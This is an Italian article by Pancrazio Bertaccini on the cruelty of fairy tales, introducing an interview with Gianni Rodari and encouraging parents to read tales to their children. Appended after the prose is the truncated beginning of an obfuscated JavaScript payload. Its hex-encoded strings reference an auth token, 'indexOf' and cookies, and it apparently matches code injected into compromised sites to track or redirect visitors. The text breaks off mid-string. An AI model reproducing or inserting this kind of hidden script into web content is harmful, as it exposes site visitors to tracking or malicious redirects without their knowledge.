

## lo dicevano le fiabe

a cura di Pancrazio Bertaccini

Le fiabe sono racconti che hanno la particolarità di muovere sentimenti controversi sia in chi le legge e sia in chi le ascolta. Fanno paura e ci lasciano perplessi nel raccontare vicende di personaggi vissuti – o inventati – in tempi apparentemente lontani e incomprensibili ai nostri occhi.

Certo se a noi certa crudezza sembra a volte anche un po' gratuita, è difficile pensare che quello che viene raccontato nelle fiabe sia più forte o violento di quello che sentiamo tutti i giorni, riportato nelle notizie o nei racconti distanti di altri paesi. Per noi e ai nostri giorni fanno paura le fiabe delle notizie di cronaca.

Invece nei paesi lontani, non a caso, le fiabe raccontate ai bambini, ad esempio in Africa, mantengono tutt'oggi quella forza con cui si raccontano con naturalezza i soprusi e i pericoli che si incontrano nella vita. E lo stesso vale per le fiabe della tradizione europea. Raccontare con storie forti quei tempi di miseria, ma anche di coraggio e dedizione. E infatti oggi che sembra scomparsa la miseria dalle nostre parti, sembrano essersi assopiti insieme anche quel coraggio e quella dedizione.

In questa breve intervista, Gianni Rodari ci rende una bella immagine di un tempo che stava cambiando velocemente verso quello in cui siamo, ma allo stesso tempo ci propone un nuovo punto di vista o semplicemente ci rammenta quello vecchio con qualche piccolo suggerimento rivolto a noi genitori: riscoprire fiabe e i bei racconti, e leggerle ai nostri figli, per loro ma anche per noi.

var \_0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x